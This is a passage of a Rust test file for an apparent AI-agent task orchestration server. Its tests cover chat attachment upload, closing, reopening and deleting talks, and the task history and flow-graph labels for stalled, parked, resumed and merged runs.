16694 .post_bytes(
16695 &format!("/api/talks/{id}/attachments"),
16696 &[("Content-Type", "image/png")],
16697 b"<html>not a picture</html>",
16698 )
16699 .await;
16700 assert!((400..500).contains(&res.status), "{}", res.body);
16701 }
16702
16703 #[tokio::test]
16704 async fn an_unknown_attachment_id_is_a_404() {
16705 let f = Fixture::start().await;
16706 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
16707
16708 let res = f
16709 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
16710 .await;
16711 assert_eq!(res.status, 404, "{}", res.body);
16712 }
16713
16714 #[tokio::test]
16715 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
16716 let f = Fixture::start().await;
16717 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
16718
16719 let uploaded = f
16720 .post_bytes(
16721 &format!("/api/talks/{id}/attachments"),
16722 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16723 PNG_BYTES,
16724 )
16725 .await;
16726 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16727 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
16728
16729 let res = f
16730 .post(
16731 &format!("/api/talks/{id}/say"),
16732 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
16733 )
16734 .await;
16735 assert_eq!(res.status, 202, "{}", res.body);
16736 let queued = res.json();
16737 let turns = queued["turns"].as_array().expect("turns array");
16738 assert_eq!(
16739 turns.len(),
16740 1,
16741 "an empty body with an attachment is still a turn: {queued}"
16742 );
16743 assert_eq!(turns[0]["who"], "operator");
16744 assert_eq!(turns[0]["body"], "");
16745 let atts = turns[0]["attachments"]
16746 .as_array()
16747 .expect("attachments array");
16748 assert_eq!(atts.len(), 1);
16749 assert_eq!(atts[0]["id"], att_id);
16750 assert_eq!(atts[0]["mime"], "image/png");
16751
16752 let on_disk = f.talks().get(&id).expect("get");
16755 assert_eq!(on_disk.turns[0].attachments.len(), 1);
16756 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
16757 }
16758
16759 #[tokio::test]
16760 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
16761 let f = Fixture::start().await;
16762 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
16763
16764 let res = f
16765 .post(
16766 &format!("/api/talks/{id}/say"),
16767 Some(&format!(
16768 r#"{{"text":"hi","attachments":["{}"]}}"#,
16769 "a".repeat(32)
16770 )),
16771 )
16772 .await;
16773 assert!((400..500).contains(&res.status), "{}", res.body);
16774 assert!(res.body.contains("unknown attachment"), "{}", res.body);
16775
16776 let on_disk = f.talks().get(&id).expect("get");
16777 assert!(
16778 on_disk.turns.is_empty(),
16779 "a rejected attachment id must not partially record the turn: {:?}",
16780 on_disk.turns
16781 );
16782 }
16783
16784 #[tokio::test]
16785 async fn talk_close_makes_the_talk_refuse_further_turns() {
16786 let f = Fixture::start().await;
16787 let id = seed_talk(&f, "20260904-014455-cd34", "open");
16788
16789 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16790 assert_eq!(closed.status, 200, "{}", closed.body);
16791 assert_eq!(closed.json()["status"], "closed");
16792
16793 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
16795 assert_eq!(closed_again.status, 200);
16796 assert_eq!(closed_again.json()["status"], "closed");
16797
16798 let said = f
16799 .post(
16800 &format!("/api/talks/{id}/say"),
16801 Some(r#"{"text":"too late"}"#),
16802 )
16803 .await;
16804 assert_eq!(said.status, 409, "{}", said.body);
16805 }
16806
16807 #[tokio::test]
16808 async fn talk_close_refuses_pending_input_with_conflict_and_preserves_it() {
16809 let f = Fixture::start().await;
16810 let id = seed_talk(&f, "20260904-014455-cd34", "open");
16811 let store = f.talks();
16812 let mut queued = store.get(&id).expect("talk");
16813 for automatic in [false, true] {
16814 if automatic {
16815 talk::queue_once(&mut queued, &store, "automatic notice", "notice-key")
16816 .expect("queue automatic input");
16817 } else {
16818 talk::queue(&mut queued, &store, "queued send", Vec::new())
16819 .expect("queue operator input");
16820 }
16821 let before = serde_json::to_value(store.get(&id).expect("queued talk")).unwrap();
16822 let refused = f.post(&format!("/api/talks/{id}/close"), None).await;
16823 assert_eq!(refused.status, 409, "{}", refused.body);
16824 assert!(refused.body.contains("pending input"), "{}", refused.body);
16825 assert_eq!(
16826 serde_json::to_value(store.get(&id).expect("preserved talk")).unwrap(),
16827 before,
16828 "a close refusal must preserve the entire record"
16829 );
16830 talk::clear_pending(&mut queued, &store).expect("clear saved input");
16831 }
16832 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16833 assert_eq!(closed.status, 200, "{}", closed.body);
16834 assert_eq!(closed.json()["status"], "closed");
16835 }
16836
16837 #[tokio::test]
16838 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
16839 let (_tmp, _repo, f) = talk_fixture().await;
16840 let id = f.post("/api/talks", None).await.json()["id"]
16841 .as_str()
16842 .expect("id")
16843 .to_owned();
16844 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16845 assert_eq!(closed.status, 200, "{}", closed.body);
16846
16847 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16848 assert_eq!(reopened.status, 200, "{}", reopened.body);
16849 assert_eq!(reopened.json()["status"], "open");
16850
16851 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16853 assert_eq!(reopened_again.status, 200);
16854 assert_eq!(reopened_again.json()["status"], "open");
16855
16856 let said = f
16857 .post(
16858 &format!("/api/talks/{id}/say"),
16859 Some(r#"{"text":"still there?"}"#),
16860 )
16861 .await;
16862 assert_eq!(
16863 said.status, 202,
16864 "a reopened talk accepts turns again: {}",
16865 said.body
16866 );
16867 }
16868
16869 #[tokio::test]
16870 async fn talk_reopen_on_an_unknown_id_is_404() {
16871 let f = Fixture::start().await;
16872 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
16873 assert_eq!(res.status, 404, "{}", res.body);
16874 }
16875
16876 #[tokio::test]
16877 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
16878 let f = Fixture::start().await;
16879 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
16880
16881 let deleted = f.delete(&format!("/api/talks/{id}")).await;
16882 assert_eq!(deleted.status, 204, "{}", deleted.body);
16883
16884 let after = f.get(&format!("/api/talks/{id}")).await;
16885 assert_eq!(after.status, 404, "{}", after.body);
16886
16887 let listed = f.get("/api/talks").await.json();
16888 assert!(
16889 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
16890 "a deleted talk must not linger in the list: {listed}"
16891 );
16892 }
16893
16894 #[tokio::test]
16895 async fn talk_delete_on_an_unknown_id_is_404() {
16896 let f = Fixture::start().await;
16897 let res = f.delete("/api/talks/nonexistent-id").await;
16898 assert_eq!(res.status, 404, "{}", res.body);
16899 }
16900
16901 #[tokio::test]
16905 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
16906 let f = Fixture::start().await;
16907 let (a, b, gone) = (
16908 "20260902-140501-aaaa",
16909 "20260902-140502-bbbb",
16910 "20260902-140503-cccc",
16911 );
16912 write_run(&f.runs(), a, RunStatus::Stalled);
16913 let mut review = RunState::new(
16914 PathBuf::from("/repo/magi"),
16915 "main".to_owned(),
16916 "0123456789abcdef".to_owned(),
16917 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
16918 .to_owned(),
16919 Config::default(),
16920 );
16921 review.id = b.to_owned();
16922 review.status = RunStatus::Merged;
16923 write_state(&f.runs(), &review);
16924
16925 let mut task = Task::new(
16926 "retry".to_owned(),
16927 "Do the thing".to_owned(),
16928 PathBuf::from("/repo/magi"),
16929 Source::Human,
16930 );
16931 task.start(a.to_owned());
16932 task.stall("quota");
16933 task.start(a.to_owned());
16934 task.start(b.to_owned());
16935 task.start(gone.to_owned());
16936 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
16938 f.queue().put(&mut task).expect("file the task");
16939
16940 let res = f.get(&format!("/api/queue/{}", task.id)).await;
16941 assert_eq!(res.status, 200, "{}", res.body);
16942 let v = res.json();
16943 let h = v["history"].as_array().expect("history");
16944 assert_eq!(h.len(), 4, "{v}");
16945 assert_eq!(h[0]["kind"], "competition");
16946 assert_eq!(h[0]["status"], "stalled");
16947 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
16948 assert_eq!(h[1]["kind"], "resume", "{v}");
16949 assert!(
16950 h[0]["outcome"]
16951 .as_str()
16952 .unwrap()
16953 .contains("unknown. Pass #2"),
16954 "an earlier pass of a resumed run must not claim the final outcome: {v}"
16955 );
16956 assert!(
16957 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
16958 "{v}"
16959 );
16960 assert!(
16961 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
16962 "an unrecorded cause must not be narrated as an operator park: {v}"
16963 );
16964 assert_eq!(h[2]["kind"], "review");
16965 assert!(
16966 h[2]["description"]
16967 .as_str()
16968 .unwrap()
16969 .contains("magi/aaaa/A")
16970 );
16971 assert_eq!(h[2]["status"], "merged");
16972 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
16973 assert_eq!(v["runs_unreadable"], 1);
16974 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
16975 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
16976 assert_eq!(nodes[4]["note"], "unreadable");
16977 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
16978 assert_eq!(v["instruction"], "Do the thing");
16979 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
16980
16981 let run = f.get(&format!("/api/runs/{a}")).await.json();
16983 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
16984
16985 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
16986 }
16987
16988 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
16989 let mut s = RunState::new(
16990 PathBuf::from("/repo/magi"),
16991 "main".to_owned(),
16992 "0123456789abcdef".to_owned(),
16993 "Do it".to_owned(),
16994 Config::default(),
16995 );
16996 s.status = status;
16997 edit(&mut s);
16998 s
16999 }
17000
17001 fn flow_task(runs: &[&str]) -> Task {
17002 let mut t = Task::new(
17003 "t".to_owned(),
17004 "Do it".to_owned(),
17005 PathBuf::from("/repo/magi"),
17006 Source::Human,
17007 );
17008 for r in runs {
17009 t.start((*r).to_owned());
17010 }
17011 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
17013 t
17014 }
17015
17016 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
17017 let h = task_history(task, |id| {
17018 states
17019 .iter()
17020 .find(|(i, _)| *i == id)
17021 .and_then(|(_, s)| s.clone())
17022 });
17023 task_flow(task, &h, 5, None)
17024 }
17025
17026 #[test]
17027 fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
17028 let queued = "2026-10-10T00:00:00Z".parse().unwrap();
17029 let created = "2026-10-10T01:00:00Z".parse().unwrap();
17030 let first = "2026-10-10T02:00:00Z".parse().unwrap();
17031 let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
17032 let held = "2026-10-10T04:00:00Z".parse().unwrap();
17033 let run = flow_run(RunStatus::Implementing, |s| {
17034 s.created_at = created;
17035 s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
17036 s.passes[0].started_at = first;
17037 s.passes[1].started_at = resumed;
17038 });
17039 let mut task = flow_task(&[RUN_X, RUN_X]);
17040 task.created_at = queued;
17041 task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
17042 task.status = TaskStatus::Held;
17043 task.held_at = Some(held);
17044 let flow = flow_for(&task, &[(RUN_X, Some(run))]);
17045 assert_eq!(
17046 flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
17047 vec![Some(queued), Some(first), Some(resumed), Some(held)]
17048 );
17049 assert!(flow.nodes.iter().all(|n| n.time_expected));
17050 let json = serde_json::to_value(&flow).unwrap();
17051 assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
17052 assert_eq!(json["nodes"][2]["time_expected"], true);
17053 }
17054
17055 #[test]
17056 fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
17057 let created = "2026-10-10T01:00:00Z".parse().unwrap();
17058 let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
17059 let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
17060 task.held_at = Some(created);
17062 task.blocked_at = Some(created);
17063 for status in [
17064 TaskStatus::Queued,
17065 TaskStatus::Running,
17066 TaskStatus::Blocked,
17067 TaskStatus::Done,
17068 TaskStatus::Failed,
17069 TaskStatus::Parked,
17070 TaskStatus::Held,
17071 ] {
17072 task.status = status;
17073 if status == TaskStatus::Held {
17074 task.held_at = None;
17075 }
17076 let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
17077 assert_eq!(flow.nodes[1].started_at, Some(created));
17078 assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
17079 assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
17080 assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
17081 let json = serde_json::to_value(&flow).unwrap();
17082 assert!(json["nodes"][3]["started_at"].is_null());
17083 assert_eq!(json["nodes"][3]["time_expected"], true);
17084 }
17085 }
17086
17087 #[test]
17088 fn flow_context_links_do_not_expect_start_times() {
17089 let mut task = flow_task(&[]);
17090 task.source = Source::Agent {
17091 run: "chat-id".to_owned(),
17092 node: "chat".to_owned(),
17093 };
17094 let origin = followup_origin(&fu(None), |_| None, |_| None);
17095 let flow = task_flow(&task, &[], 5, Some(&origin));
17096 for node in &flow.nodes[..2] {
17097 assert!(!node.time_expected);
17098 assert_eq!(node.started_at, None);
17099 }
17100 assert!(flow.nodes[2].time_expected);
17101 }
17102
17103 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
17104 crate::queue::FollowUp {
17105 run: "20260901-000000-aaaa".to_owned(),
17106 origin_task: origin_task.map(str::to_owned),
17107 pr: "https://example.com/o/r/pull/1".to_owned(),
17108 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
17109 .map(str::to_owned)
17110 .to_vec(),
17111 generation: 1,
17112 }
17113 }
17114
17115 fn parent_task() -> Task {
17116 let mut p = flow_task(&[]);
17117 p.title = "Parent title".to_owned();
17118 p.status = TaskStatus::Done;
17119 p
17120 }
17121
17122 #[test]
17123 fn flow_opens_with_the_parent_task_of_a_followup() {
17124 let p = parent_task();
17125 let pid = p.id.clone();
17126 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
17127 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17128 let n = &f.nodes[0];
17129 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
17130 assert_eq!(
17131 n.label,
17132 format!("Follow-up of {}", crate::queue::short(&pid))
17133 );
17134 assert_eq!(n.detail.as_deref(), Some("Parent title"));
17135 assert_eq!(n.status, Some("done"));
17136 assert_eq!(n.status_of, "task");
17137 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
17138 assert_eq!(f.nodes[1].key, "start");
17139 assert_eq!(f.edges[0].from, "origin");
17140 assert_eq!(
17141 f.edges[0].label,
17142 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
17143 );
17144 }
17145
17146 #[test]
17147 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
17148 let o = followup_origin(
17149 &fu(Some("gone")),
17150 |_| None,
17151 |_| {
17152 Some(RunState::new(
17153 std::path::PathBuf::from("."),
17154 "main".to_owned(),
17155 "0".to_owned(),
17156 "t".to_owned(),
17157 crate::config::Config::default(),
17158 ))
17159 },
17160 );
17161 assert!(o.parent.is_none());
17162 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17163 let n = &f.nodes[0];
17164 assert_eq!(n.status_of, "run");
17165 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
17166 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
17167 }
17168
17169 #[test]
17170 fn flow_followup_with_nothing_readable_has_no_link() {
17171 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
17172 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17173 let n = &f.nodes[0];
17174 assert_eq!(n.href, None);
17175 assert_eq!(n.note, Some("unreadable"));
17176 assert!(!n.readable);
17177 }
17178
17179 #[test]
17180 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
17181 let o = followup_origin(&fu(None), |_| None, |_| None);
17182 let mut t = flow_task(&[]);
17183 t.origin_chat = Some("c1".to_owned());
17184 let f = task_flow(&t, &[], 5, Some(&o));
17185 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
17186 t.source = Source::Agent {
17187 run: "c1".to_owned(),
17188 node: crate::queue::CHAT_NODE.to_owned(),
17189 };
17190 let f = task_flow(&t, &[], 5, Some(&o));
17191 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
17192 assert_eq!(
17193 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
17194 ("chat", "origin")
17195 );
17196 }
17197
17198 #[test]
17199 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
17200 let mut p = parent_task();
17201 p.id = "a b/c".to_owned();
17202 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
17203 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
17204 }
17205
17206 #[test]
17207 fn flow_opens_with_the_chat_that_queued_the_task() {
17208 let mut t = flow_task(&[]);
17209 t.source = Source::Agent {
17210 run: "a b/c".to_owned(),
17211 node: crate::queue::CHAT_NODE.to_owned(),
17212 };
17213 let f = flow_for(&t, &[]);
17214 assert_eq!(f.nodes[0].key, "chat");
17215 assert_eq!(f.nodes[0].kind, "chat");
17216 assert_eq!(
17217 f.nodes[0].label,
17218 format!("Chat {}", crate::queue::short("a b/c"))
17219 );
17220 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
17221 assert_eq!(f.nodes[1].key, "start");
17222 assert_eq!(
17223 f.edges[0],
17224 FlowEdge {
17225 from: "chat".to_owned(),
17226 to: "start".to_owned(),
17227 label: "queued from chat".to_owned(),
17228 attempt: AttemptCost::None,
17229 }
17230 );
17231 }
17232
17233 #[test]
17234 fn flow_has_no_chat_box_for_other_sources() {
17235 for source in [
17236 Source::Human,
17237 Source::Issue {
17238 number: 3,
17239 repo: "o/r".to_owned(),
17240 },
17241 Source::Agent {
17242 run: "20260904-014455-ab12".to_owned(),
17243 node: "implement".to_owned(),
17244 },
17245 ] {
17246 let mut t = flow_task(&[]);
17247 t.source = source;
17248 let f = flow_for(&t, &[]);
17249 assert_eq!(f.nodes[0].key, "start");
17250 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
17251 assert!(f.edges.iter().all(|e| e.from != "chat"));
17252 }
17253 }
17254
17255 const FA: &str = "20260902-140501-aaaa";
17256 const FB: &str = "20260902-140502-bbbb";
17257
17258 #[test]
17259 fn flow_follows_blocked_retry_merged_to_done() {
17260 let mut t = flow_task(&[FA, FB]);
17261 t.status = TaskStatus::Done;
17262 let f = flow_for(
17263 &t,
17264 &[
17265 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
17266 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
17267 ],
17268 );
17269 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
17270 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
17271 assert_eq!(f.edges.len(), 3);
17272 assert_eq!(f.edges[0].label, "claimed");
17273 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
17274 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17275 assert_eq!(f.edges[2].label, "merged \u{2192} done");
17276 assert_eq!(
17277 f.nodes[2].href.as_deref(),
17278 Some("#/runs/20260902-140502-bbbb")
17279 );
17280 assert!(f.nodes[2].decided);
17281 }
17282
17283 #[test]
17284 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
17285 let quota = || {
17286 flow_run(RunStatus::Stalled, |s| {
17287 s.quota.push(crate::run::QuotaLoss {
17288 cause: crate::agent::QuotaCause::UsageLimit,
17289 agent: String::new(),
17290 seat: "judge-1".to_owned(),
17291 node: "judge".to_owned(),
17292 at: Timestamp::now(),
17293 reset: None,
17294 })
17295 })
17296 };
17297 let mut t = flow_task(&[FA, FA]);
17298 t.status = TaskStatus::Queued;
17299 let f = flow_for(&t, &[(FA, Some(quota()))]);
17300 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
17301 assert_eq!(f.nodes[1].note, Some("interrupted"));
17302 assert_eq!(
17303 f.nodes[1].status, None,
17304 "no outcome copied onto an earlier pass"
17305 );
17306 assert_eq!(
17307 f.edges[1].attempt,
17308 AttemptCost::Unknown,
17309 "a resume does not prove the earlier pass was refunded"
17310 );
17311 assert!(f.edges[1].label.contains("resume the same run"));
17312 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
17313 assert_eq!(
17314 f.edges[2].label,
17315 "stalled after a resume, refund unknown \u{2192} queued"
17316 );
17317 assert!(!f.nodes[2].decided, "a stall is not a decision");
17318 assert_eq!(f.nodes[2].note, Some("no verdict"));
17319 }
17320
17321 #[test]
17322 fn flow_single_pass_quota_stall_is_refunded() {
17323 let t = flow_task(&[FA]);
17324 let f = flow_for(
17325 &t,
17326 &[(
17327 FA,
17328 Some(flow_run(RunStatus::Stalled, |s| {
17329 s.quota.push(crate::run::QuotaLoss {
17330 cause: crate::agent::QuotaCause::UsageLimit,
17331 agent: String::new(),
17332 seat: "judge-1".to_owned(),
17333 node: "judge".to_owned(),
17334 at: Timestamp::now(),
17335 reset: None,
17336 })
17337 })),
17338 )],
17339 );
17340 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17341 }
17342
17343 #[test]
17344 fn flow_parked_refunds_and_stall_without_quota_spends() {
17345 let mut t = flow_task(&[FA]);
17346 t.status = TaskStatus::Queued;
17347 let f = flow_for(
17348 &t,
17349 &[(
17350 FA,
17351 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
17352 )],
17353 );
17354 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
17355 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17356 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
17357 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17358 assert!(!f.nodes[1].decided);
17359 }
17360
17361 #[test]
17362 fn flow_keeps_an_unreadable_run_as_its_own_node() {
17363 let t = flow_task(&[FA, FB]);
17364 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
17365 assert_eq!(f.nodes[1].note, Some("unreadable"));
17366 assert!(!f.nodes[1].readable);
17367 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
17368 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
17369 }
17370
17371 #[test]
17372 fn flow_names_the_branch_of_a_review_only_run() {
17373 let t = flow_task(&[FA]);
17374 let f = flow_for(
17375 &t,
17376 &[(
17377 FA,
17378 Some(flow_run(RunStatus::Merged, |s| {
17379 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
17380 })),
17381 )],
17382 );
17383 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
17384 assert_eq!(
17385 f.nodes[1].detail.as_deref(),
17386 Some("review-only run of branch magi/x/A")
17387 );
17388 }
17389
17390 #[test]
17391 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
17392 let mut t = flow_task(&[FA]);
17393 t.status = TaskStatus::Held;
17394 let pr = crate::run::PrRecord {
17395 url: "https://example.test/pr/1".to_owned(),
17396 number: 1,
17397 state: "open".to_owned(),
17398 checks: "green".to_owned(),
17399 round: 0,
17400 rounds: 3,
17401 red_at_merge: Vec::new(),
17402 };
17403 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
17404 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
17405 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
17406 t.status = TaskStatus::Done;
17407 let f = flow_for(&t, &[(FA, Some(blocked))]);
17408 assert_eq!(f.edges[1].label, "closed by hand: task is done");
17409 }
17410
17411 #[test]
17412 fn flow_with_no_runs_goes_from_queued_to_queued() {
17413 let t = flow_task(&[]);
17414 let f = flow_for(&t, &[]);
17415 assert_eq!(f.nodes.len(), 2);
17416 assert_eq!(f.edges.len(), 1);
17417 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
17418 assert_eq!(f.edges[0].attempt, AttemptCost::None);
17419 }
17420
17421 #[test]
17424 fn a_parked_non_terminal_run_is_explained_as_parked() {
17425 let mut s = RunState::new(
17426 PathBuf::from("/repo/magi"),
17427 "main".to_owned(),
17428 "0123456789abcdef".to_owned(),
17429 "Do it".to_owned(),
17430 Config::default(),
17431 );
17432 s.status = RunStatus::Implementing;
17433 s.parked = true;
17434 let task = Task::new(
17435 "t".to_owned(),
17436 "Do it".to_owned(),
17437 PathBuf::from("/repo/magi"),
17438 Source::Human,
17439 );
17440 let v = task_run_view(
17441 "20260902-140501-aaaa",
17442 Some(&s),
17443 RunSlot {
17444 n: 1,
17445 resumed: false,
17446 resumed_later: None,
17447 prior: None,
17448 last: true,
17449 ..RunSlot::default()
17450 },
17451 &task,
17452 );
17453 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
17454 }
17455
17456 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
17457 let mut s = flow_run(RunStatus::Implementing, edit);
17458 s.parked = false;
17459 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
17460 task_run_view(
17461 "20260902-140501-aaaa",
17462 Some(&s),
17463 RunSlot {
17464 n: 1,
17465 resumed: false,
17466 resumed_later: Some(2),
17467 prior: None,
17468 last: false,
17469 ..RunSlot::default()
17470 },
17471 &task,
17472 )
17473 }
17474
17475 #[test]
17476 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
17477 let v = earlier_pass_view(|_| {});
17478 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
17479 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17480 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
17481 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
17482 assert_eq!(v.exit, RunExit::Interrupted);
17483 assert_eq!(v.attempt, AttemptCost::Unknown);
17484 }
17485
17486 #[test]
17487 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
17488 let v = earlier_pass_view(|s| {
17489 s.quota.push(crate::run::QuotaLoss {
17490 cause: crate::agent::QuotaCause::UsageLimit,
17491 agent: String::new(),
17492 seat: "judge-1".to_owned(),
17493 node: "judge".to_owned(),
17494 at: Timestamp::now(),
17495 reset: None,
17496 });
17497 });
17498 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
17499 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17500 assert_eq!(v.attempt, AttemptCost::Unknown);
17501 }
17502
17503 #[test]
17504 fn the_current_pass_states_its_recorded_cause_and_cost() {
17505 let slot = || RunSlot {
17506 n: 1,
17507 resumed: false,
17508 resumed_later: None,
17509 prior: None,
17510 last: true,
17511 ..RunSlot::default()
17512 };
17513 let task = flow_task(&["20260902-140501-aaaa"]);
17514 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
17515 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
17516 assert_eq!(
17517 (v.exit, v.attempt),
17518 (RunExit::Parked, AttemptCost::Refunded)
17519 );
17520 let spent = flow_run(RunStatus::Blocked, |_| {});
17521 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
17522 assert_eq!(v.attempt, AttemptCost::Spent);
17523 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
17524 }
17525
17526 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
17527 crate::run::RunPass {
17528 index,
17529 started_at: Timestamp::now(),
17530 resumed: index > 0,
17531 ended_at: end.as_ref().map(|_| Timestamp::now()),
17532 end,
17533 task_entry: true,
17534 }
17535 }
17536
17537 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
17538 Some(crate::run::PassEnd::Parked { cause })
17539 }
17540
17541 fn upgrade_cause() -> crate::run::ParkCause {
17542 crate::run::ParkCause::Upgrade {
17543 from: "0.121.0".to_owned(),
17544 to: Some("0.121.1".to_owned()),
17545 }
17546 }
17547
17548 fn settled_pass(
17549 run: &str,
17550 index: usize,
17551 cost: crate::queue::PassCost,
17552 ) -> crate::queue::TaskPass {
17553 crate::queue::TaskPass {
17554 run: run.to_owned(),
17555 pass_index: index,
17556 started_at: None,
17557 cost,
17558 attempts_after: 1,
17559 settled_at: Timestamp::now(),
17560 parked: None,
17561 }
17562 }
17563
17564 const RUN_X: &str = "20261011-223708-4334";
17565
17566 #[test]
17567 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
17568 use crate::queue::PassCost;
17569 let run = flow_run(RunStatus::Implementing, |s| {
17570 s.passes = vec![
17571 recorded_pass(0, parked(upgrade_cause())),
17572 recorded_pass(1, None),
17573 ];
17574 });
17575 let mut task = flow_task(&[RUN_X, RUN_X]);
17576 task.attempts = 1;
17577 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17578 let h = task_history(&task, |_| Some(run.clone()));
17579 assert_eq!(h.len(), 2);
